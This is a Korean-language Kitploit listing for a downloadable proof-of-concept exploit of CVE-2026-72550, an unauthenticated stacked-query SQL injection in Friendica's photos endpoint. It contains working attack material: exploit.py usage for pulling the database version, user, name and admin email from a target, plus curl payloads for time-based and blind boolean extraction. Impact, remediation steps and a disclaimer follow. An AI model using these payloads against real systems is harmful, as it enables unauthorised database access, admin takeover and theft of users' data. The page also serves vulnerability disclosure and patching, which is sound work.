Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-72550-poc — CVE-2026-72550 — Friendica 인증되지 않은 스택 쿼리 SQL 인젝션 PoC (CVSS 9.8 치명적) | Kitploit
도구/GitHubGitHub/abdugafforov-bobur/cve-2026-72550-poc
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationInformation GatheringWeb SecurityPenetration Testing
GitHubabdugafforov-bobur/cve-2026-72550-poc

CVE-2026-72550-poc

CVE-2026-72550 — Friendica 인증되지 않은 스택 쿼리 SQL 인젝션 PoC (CVSS 9.8 치명적)

저장소 보기
627일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-72550 — Friendica 인증되지 않은 SQL 인젝션

Friendica의 photos 엔드포인트에서 인증되지 않은 스택 쿼리 SQL 인젝션으로 모든 방문자가 임의의 SQL을 실행할 수 있습니다.

필드값
CVE IDCVE-2026-72550
제품Friendica (자체 호스팅 연합 소셜 네트워크)
영향 범위<= 2026.08-dev (git HEAD e3fc1bc)
유형CWE-89: SQL 인젝션 (인증되지 않음, 스택 쿼리)
심각도치명적 — CVSS 3.1: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
인증 필요없음

요약

Friendica의 사진 보기 엔드포인트는 order 쿼리 매개변수를 받아 이스케이프 없이 SHOW COLUMNS ... LIKE '...' 문에 연결하며, 이는 다중 문 실행을 허용하는 PDO::query()를 통해 실행됩니다. 로그인이 필요 없으며, 기본 설치(block_public이 기본적으로 꺼짐)에서는 공개적으로 보이는 사진 하나면 충분합니다. PDO::query()가 스택 문을 실행하므로 익명 공격자는 데이터를 읽는 것에 그치지 않고 INSERT/UPDATE를 포함한 임의의 SQL을 실행하여 관리자 사용자를 만들 수 있습니다.

취약한 코드 경로

root@kitploit:~
mod/photos.php:673              — reads raw $_GET['order']
DBStructure::existsColumn()     — concatenates into: SHOW COLUMNS FROM `photo` LIKE '$column'
  src/Database/DBStructure.php:714
DBA::p() → PDO::query()         — executes with stacked statements enabled

기본 요청 경로는 이 코드에 도달합니다. $cmd는 기본적으로 'view'이며($cmd === 'view' 조건 충족), no_count는 꺼져 있으므로 인증이나 비기본 설정이 필요 없습니다.

사용법

root@kitploit:~
# Install dependency
pip install requests

# Check if target is vulnerable (time-based detection)
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --check-only

# Extract database version via blind SQLi
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract version

# Extract current database user
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_user

# Extract current database name
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_name

# Extract first admin email
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract admin_email

매개변수

플래그설명
-u / --url대상 기본 URL (예: http://target:8176)
-r / --user공격 대상 사진 갤러리의 사용자 이름
-i / --resource-id공개적으로 표시되는 사진의 리소스 ID
--extract유출할 값: version, db_user, db_name, admin_email
--check-only취약점만 테스트하고 데이터는 추출하지 않음
--sleepSLEEP 지연 시간(초) (기본값: 5)

수동 재현

쿠키나 인증이 필요 없습니다. 공개된 사진의 resource-id를 지정하세요:

root@kitploit:~
# Control — valid order, returns fast (~0.05s)
curl -s -o /dev/null -w "%{time_total}\n" \
  "http://TARGET/photos/alice/image/RESOURCE_ID?order=created"

# Injection — stacked SLEEP(5) executes, response held ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
  "http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20SLEEP(5)--%20-"

디코딩된 페이로드: x';SELECT SLEEP(5)-- -

주입된 SQL은 다음과 같습니다:

root@kitploit:~
SHOW COLUMNS FROM `photo` LIKE 'x';SELECT SLEEP(5)-- -'

블라인드 불리언 추출

root@kitploit:~
# TRUE condition (@@version starts with '1') → delays ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
  "http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%271%27,SLEEP(5),0)--%20-"

# FALSE condition (@@version starts with '9') → returns fast
curl -s -o /dev/null -w "%{time_total}\n" \
  "http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%279%27,SLEEP(5),0)--%20-"

영향

인증되지 않은 공격자는 다음을 수행할 수 있습니다:

  • 읽기 — 데이터베이스의 모든 데이터 읽기(자격 증명, 이메일, 개인 메시지의 블라인드 추출)
  • 쓰기 — 임의의 행 작성(INSERT INTO user를 통한 관리자 계정 생성 포함)
  • 수정 — 기존 데이터 수정(모든 사용자를 관리자로 승격, 게시물 변조, 비밀번호 재설정)
  • 삭제 — 데이터 삭제 또는 테이블 드롭(서비스 거부)

기본 Friendica 설치에서 익명 방문자 누구나 도달할 수 있는 완전한 데이터베이스 침해입니다.

수정 방법

  1. 사용 전에 order를 알려진 컬럼 화이트리스트와 대조하여 검증
  2. SHOW COLUMNS에서 문자열 연결 대신 매개변수화된 쿼리 사용
  3. PDO 연결에서 다중 문 실행 비활성화 (PDO::ATTR_EMULATE_PREPARES => false)

타임라인

날짜이벤트
2026-07-07로컬 인스턴스에서 취약점 발견 및 확인
2026-08-11TuranSec CNA를 통해 CVE-2026-72550 게시

면책 조항

이 도구는 공인된 보안 테스트 및 교육 목적으로만 제공됩니다. 소유하거나 명시적인 서면 테스트 허가를 받은 시스템에만 사용하십시오. 저자는 오용에 대한 책임을 지지 않습니다.

크레딧

발견자: Bobur Abdugafforov (@abdugafforov-bobur)

CVE는 TuranSec CNA를 통해 배정됨

도구 다운로드